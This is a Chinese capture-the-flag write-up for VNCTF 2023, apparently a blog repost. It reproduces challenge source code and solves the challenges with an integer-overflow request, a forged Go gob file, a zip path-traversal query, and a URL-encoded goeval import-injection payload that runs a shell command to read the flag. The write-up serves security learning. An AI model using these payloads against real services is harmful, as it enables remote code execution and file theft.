首页 > 其他分享 >2023_VNCTF_WP

2023_VNCTF_WP

时间:2023-02-18 22:01:11浏览次数:68  
标签:VNCTF err WP gob html user file 2023 gin

 Web

象棋王子

直接f12,然后发现特殊字符,ctrl+c -------> 控制台 ----------->  ctrl+v 回车后得到flag

电子木鱼

参考这篇文章:https://course.rs/basic/base-type/numbers.html

题目源码:

use actix_files::Files;
use actix_web::{
    error, get, post,
    web::{self, Json},
    App, Error, HttpResponse, HttpServer,
};
use once_cell::sync::Lazy;
use serde::{Deserialize, Serialize};
use std::sync::{Arc, Mutex};
use tera::{Context, Tera};

static GONGDE: Lazy<ThreadLocker<i32>> = Lazy::new(|| ThreadLocker::from(0));

#[derive(Debug, Clone, Default)]
struct ThreadLocker<T> {
    value: Arc<Mutex<T>>,
}

impl<T: Clone> ThreadLocker<T> {
    fn get(&self) -> T {
        let mutex = self.value.lock().unwrap();
        mutex.clone()
    }
    fn set(&self, val: T) {
        let mut mutex = self.value.lock().unwrap();
        *mutex = val;
    }
    fn from(val: T) -> ThreadLocker<T> {
        ThreadLocker::<T> {
            value: Arc::new(Mutex::new(val)),
        }
    }
}

#[derive(Serialize)]
struct APIResult {
    success: bool,
    message: &'static str,
}

#[derive(Deserialize)]
struct Info {
    name: String,
    quantity: i32,
}

#[derive(Debug, Copy, Clone, Serialize)]
struct Payload {
    name: &'static str,
    cost: i32,
}

const PAYLOADS: &[Payload] = &[
    Payload {
        name: "Cost",
        cost: 10,
    },
    Payload {
        name: "Loan",
        cost: -1_000,
    },
    Payload {
        name: "CCCCCost",
        cost: 500,
    },
    Payload {
        name: "Donate",
        cost: 1,
    },
    Payload {
        name: "Sleep",
        cost: 0,
    },
];

#[get("/")]
async fn index(tera: web::Data<Tera>) -> Result<HttpResponse, Error> {
    let mut context = Context::new();

    context.insert("gongde", &GONGDE.get());

    if GONGDE.get() > 1_000_000_000 {
        context.insert(
            "flag",
            &std::env::var("FLAG").unwrap_or_else(|_| "flag{test_flag}".to_string()),
        );
    }

    match tera.render("index.html", &context) {
        Ok(body) => Ok(HttpResponse::Ok().body(body)),
        Err(err) => Err(error::ErrorInternalServerError(err)),
    }
}

#[get("/reset")]
async fn reset() -> Json<APIResult> {
    GONGDE.set(0);
    web::Json(APIResult {
        success: true,
        message: "重开成功,继续挑战佛祖吧",
    })
}

#[post("/upgrade")]
async fn upgrade(body: web::Form<Info>) -> Json<APIResult> {
    if GONGDE.get() < 0 {
        return web::Json(APIResult {
            success: false,
            message: "功德都搞成负数了,佛祖对你很失望",
        });
    }

    if body.quantity <= 0 {
        return web::Json(APIResult {
            success: false,
            message: "佛祖面前都敢作弊,真不怕遭报应啊",
        });
    }

    if let Some(payload) = PAYLOADS.iter().find(|u| u.name == body.name) {
        let mut cost = payload.cost;

        if payload.name == "Donate" || payload.name == "Cost" {
            cost *= body.quantity;
        }

        if GONGDE.get() < cost as i32 {
            return web::Json(APIResult {
                success: false,
                message: "功德不足",
            });
        }

        if cost != 0 {
            GONGDE.set(GONGDE.get() - cost as i32);
        }

        if payload.name == "Cost" {
            return web::Json(APIResult {
                success: true,
                message: "小扣一手功德",
            });
        } else if payload.name == "CCCCCost" {
            return web::Json(APIResult {
                success: true,
                message: "功德都快扣没了,怎么睡得着的",
            });
        } else if payload.name == "Loan" {
            return web::Json(APIResult {
                success: true,
                message: "我向佛祖许愿,佛祖借我功德,快说谢谢佛祖",
            });
        } else if payload.name == "Donate" {
            return web::Json(APIResult {
                success: true,
                message: "好人有好报",
            });
        } else if payload.name == "Sleep" {
            return web::Json(APIResult {
                success: true,
                message: "这是什么?床,睡一下",
            });
        }
    }

    web::Json(APIResult {
        success: false,
        message: "禁止开摆",
    })
}

#[actix_web::main]
async fn main() -> std::io::Result<()> {
    let port = std::env::var("PORT")
        .unwrap_or_else(|_| "2333".to_string())
        .parse()
        .expect("Invalid PORT");

    println!("Listening on 0.0.0.0:{}", port);

    HttpServer::new(move || {
        let tera = match Tera::new("src/templates/**/*.html") {
            Ok(t) => t,
            Err(e) => {
                println!("Error: {}", e);
                ::std::process::exit(1);
            }
        };
        App::new()
            .app_data(web::Data::new(tera))
            .service(Files::new("/asset", "src/templates/asset/").prefer_utf8(true))
            .service(index)
            .service(upgrade)
            .service(reset)
    })
    .bind(("0.0.0.0", port))?
    .run()
    .await
}

审计代码,发现使用Cost 会花费掉功德,且在下图所示地方进行计算

 

 结合cost的类型为i32构造quantity的数值,造成溢出,当quantity=2000000000 时 得到flag

 

 BabyGo

题目源码:

package main

import (
    "encoding/gob"
    "fmt"
    "github.com/PaulXu-cn/goeval"
    "github.com/duke-git/lancet/cryptor"
    "github.com/duke-git/lancet/fileutil"
    "github.com/duke-git/lancet/random"
    "github.com/gin-contrib/sessions"
    "github.com/gin-contrib/sessions/cookie"
    "github.com/gin-gonic/gin"
    "net/http"
    "os"
    "path/filepath"
    "strings"
)

type User struct {
    Name  string
    Path  string
    Power string
}

func main() {
    r := gin.Default()
    store := cookie.NewStore(random.RandBytes(16))
    r.Use(sessions.Sessions("session", store))
    r.LoadHTMLGlob("template/*")

    r.GET("/", func(c *gin.Context) {
        userDir := "/tmp/" + cryptor.Md5String(c.ClientIP()+"VNCTF2023GoGoGo~") + "/"
        session := sessions.Default(c)
        session.Set("shallow", userDir)
        session.Save()
        fileutil.CreateDir(userDir)
        gobFile, _ := os.Create(userDir + "user.gob")
        user := User{Name: "ctfer", Path: userDir, Power: "low"}
        encoder := gob.NewEncoder(gobFile)
        encoder.Encode(user)
        if fileutil.IsExist(userDir) && fileutil.IsExist(userDir+"user.gob") {
            c.HTML(200, "index.html", gin.H{"message": "Your path: " + userDir})
            return
        }
        c.HTML(500, "index.html", gin.H{"message": "failed to make user dir"})
    })

    r.GET("/upload", func(c *gin.Context) {
        c.HTML(200, "upload.html", gin.H{"message": "upload me!"})
    })

    r.POST("/upload", func(c *gin.Context) {
        session := sessions.Default(c)
        if session.Get("shallow") == nil {
            c.Redirect(http.StatusFound, "/")
        }
        userUploadDir := session.Get("shallow").(string) + "uploads/"
        fileutil.CreateDir(userUploadDir)
        file, err := c.FormFile("file")
        if err != nil {
            c.HTML(500, "upload.html", gin.H{"message": "no file upload"})
            return
        }
        ext := file.Filename[strings.LastIndex(file.Filename, "."):]
        if ext == ".gob" || ext == ".go" {
            c.HTML(500, "upload.html", gin.H{"message": "Hacker!"})
            return
        }
        filename := userUploadDir + file.Filename
        if fileutil.IsExist(filename) {
            fileutil.RemoveFile(filename)
        }
        err = c.SaveUploadedFile(file, filename)
        if err != nil {
            c.HTML(500, "upload.html", gin.H{"message": "failed to save file"})
            return
        }
        c.HTML(200, "upload.html", gin.H{"message": "file saved to " + filename})
    })

    r.GET("/unzip", func(c *gin.Context) {
        session := sessions.Default(c)
        if session.Get("shallow") == nil {
            c.Redirect(http.StatusFound, "/")
        }
        userUploadDir := session.Get("shallow").(string) + "uploads/"
        files, _ := fileutil.ListFileNames(userUploadDir)
        destPath := filepath.Clean(userUploadDir + c.Query("path"))
        for _, file := range files {
            if fileutil.MiMeType(userUploadDir+file) == "application/zip" {
                err := fileutil.UnZip(userUploadDir+file, destPath)
                if err != nil {
                    c.HTML(200, "zip.html", gin.H{"message": "failed to unzip file"})
                    return
                }
                fileutil.RemoveFile(userUploadDir + file)
            }
        }
        c.HTML(200, "zip.html", gin.H{"message": "success unzip"})
    })

    r.GET("/backdoor", func(c *gin.Context) {
        session := sessions.Default(c)
        if session.Get("shallow") == nil {
            c.Redirect(http.StatusFound, "/")
        }
        userDir := session.Get("shallow").(string)
        if fileutil.IsExist(userDir + "user.gob") {
            file, _ := os.Open(userDir + "user.gob")
            decoder := gob.NewDecoder(file)
            var ctfer User
            decoder.Decode(&ctfer)
            if ctfer.Power == "admin" {
                eval, err := goeval.Eval("", "fmt.Println(\"Good\")", c.DefaultQuery("pkg", "fmt"))
                if err != nil {
                    fmt.Println(err)
                }
                c.HTML(200, "backdoor.html", gin.H{"message": string(eval)})
                return
            } else {
                c.HTML(200, "backdoor.html", gin.H{"message": "low power"})
                return
            }
        } else {
            c.HTML(500, "backdoor.html", gin.H{"message": "no such user gob"})
            return
        }
    })

    r.Run(":80")
}
审计代码过程,在路径/upload下我们可以知道禁止上传了.gob.go文件 审计/unzip路径,我们可以知道这里把上传的.zip文件进行解压,关键点在下图所示 这里存在一个参数path,用于设置解压.zip文件后,解压文件存放的位置。这里存在filepath.Clean函数,查阅资料发现可以类似目录穿越 相关资料链接:https://blog.csdn.net/weixin_45011728/article/details/96615369 进行审计/backdoor路径,关键点如下图所示:

这里打开一个user.go的文件,调用了gob.NewDecoder函数,查阅资料发现gob文件为go的二进制文件,相关链接如下:http://c.biancheng.net/view/4563.html

在这里还设置了一个参数pkg,调用了goeval.Eval()函数,不认识然后百度查阅资料学习,在该链接明白用处:https://learnku.com/articles/57884 综上分析,大概解题思路是:上传一个zip文件,里面包含了user.gob,user.gob的内容要不ctfer.Power原来的值覆盖掉,改成admin才行。然后此时只是输出了Good,并没有得到flag,找到了下面文章: https://cn-sec.com/archives/1281015.html 了解到go的函数逃逸,从而getshell获取flag。 解题步骤如下: 1. 在/upload中上传了包含user.gob的zip文件,user.gob文件内容如下:
//user.go
package main

import (
    "encoding/gob"
    "fmt"
    "os"
)

type User struct {
        Name  string
        Path  string
        Power string
}

func main(){
        userDir := "/tmp/bd79ef7e97e0846c1b876078b346ad18/"  //自己docker起后的路径
        user := User{Name: "ctfer", Path: userDir, Power: "admin"}
        file, err := os.Create("./user.gob")
        if err != nil {
                fmt.Println("文件创建失败", err.Error())
        return
        }
        defer file.Close()

        encoder := gob.NewEncoder(file)
        err = encoder.Encode(user)
        if err != nil {
        fmt.Println("编码错误", err.Error())
        return
    } else {
        fmt.Println("编码成功")
    }
}
运行上面user.go文件得到user.gob文件 2. 在/unzip路径下,使用payload如下:
/unzip?path=../../../tmp/bd79ef7e97e0846c1b876078b346ad18/

3. 访问/backdoor,返回Good则上述步骤成功

4. 在/backdoor下,使用下面payload:

/backdoor?pkg=os/exec"%0A"fmt")%0Afunc%09init()%7B%0Acmd:=exec.Command("/bin/sh","-c","cat${IFS}/f*")%0Ares,err:=cmd.CombinedOutput()%0Afmt.Println(err)%0Afmt.Println(res)%0A}%0Aconst(%0AMessage="fmt

payload的构造参考上述给的链接

5. 得到返回结果:

 6. python脚本解码得到flag:flag{b9dd39fb-76b9-4b90-888c-833d81bbcdac}

Misc

验证码

把图片数字提取出来,使用该网站解密即可:https://tuppers-formula.ovh/

 

 得到flag:flag{MISC_COOL!!}

 

标签:VNCTF,err,WP,gob,html,user,file,2023,gin
From: https://www.cnblogs.com/nLesxw/p/VNCTF2023.html

相关文章

  • 20230218读书有感
    1.底部形态要研究,否则是摸底 2.关注,否者做不了期货,不是短期价格波动,而是长期周期 3.入场点(足够高低,形态),做错了怎么办,割肉后继续进 4.高点低点是相对的,可以做,或者......
  • 笔记20230218
    <!DOCTYPEhtml><!--savedfromurl=(0060)http://demo.cssmoban.com/cssthemes5/cpts_1121_brc/index.html--><html><head><metahttp-equiv="Content-Type"content="t......
  • GitHub 入门 与 2023年2月18日10:29:02
    用GitHub有一段时间了,之前一直用来做Hexo的服务器,直到前阵子搞GitHubAction因为命令不熟,把GitHub上的源码强制拉到本地把本地的Hexo搞崩了,博客源码都没了,哭辽......
  • 2023年软考数据库系统工程师视频教程
    很多考生准备参加2023年软考数据库系统工程师考试,为帮助考生顺利通过考试,课课家软考学院为考生推荐数据库系统工程师学习视频、串讲视频、真题讲解视频等内容,帮助考生......
  • 2023/02/14刷题
    2023/02/14刷题B.KuriyamaMirai'sStones链接B.KuriyamaMirai'sStones这是一个前缀和问题,分别求一下原数组的前缀和和排序后数组的前缀和然后按照询问输出就可以......
  • WPF 布局控件
    <!--Horizontal水平竖直排放元素默认Vertical竖直排放加属性Orientation--><StackPanelOrientation="Horizontal"><ButtonWidth="100"Height......
  • Toyota Programming Contest 2023 Spring Qual A(AtCoder Beginner Contest 288)[A - F]
    原比赛链接A-ManyA+BProblemsA-AC代码#include<bits/stdc++.h>usingnamespacestd;intt,a,b;intread(){ intx=0,w=1; charch=getchar(); w......
  • IDEA修改Java注释字体颜色 - mac电脑 - 2023年2月
    先来看下成果: 先选中Preferences: 再选择Editor->Java->Comments->Blockcomment(多行注释)或者Linecomment(单行注释)  end.......
  • 周六900C++班级-2023.2.18-栈2
    栈练习2请写出使用stack头文件定义一个名称为q的整型栈_stack<int>q;_____设当前有栈q,元素x,请写出将元素x入栈push的程序q.push(x);设当前有栈q,元素x,请写出出栈pop的......
  • NETDMIS5.0高级编程之赋值常量2023
    给定义的变量赋值路径:【编程系统】→【高级指令】→【变量赋值】赋值语句用于定义变量,即把一个常量或者表达式赋值于变量,同时完成变量的定义。附:PROBE_A:测头座A......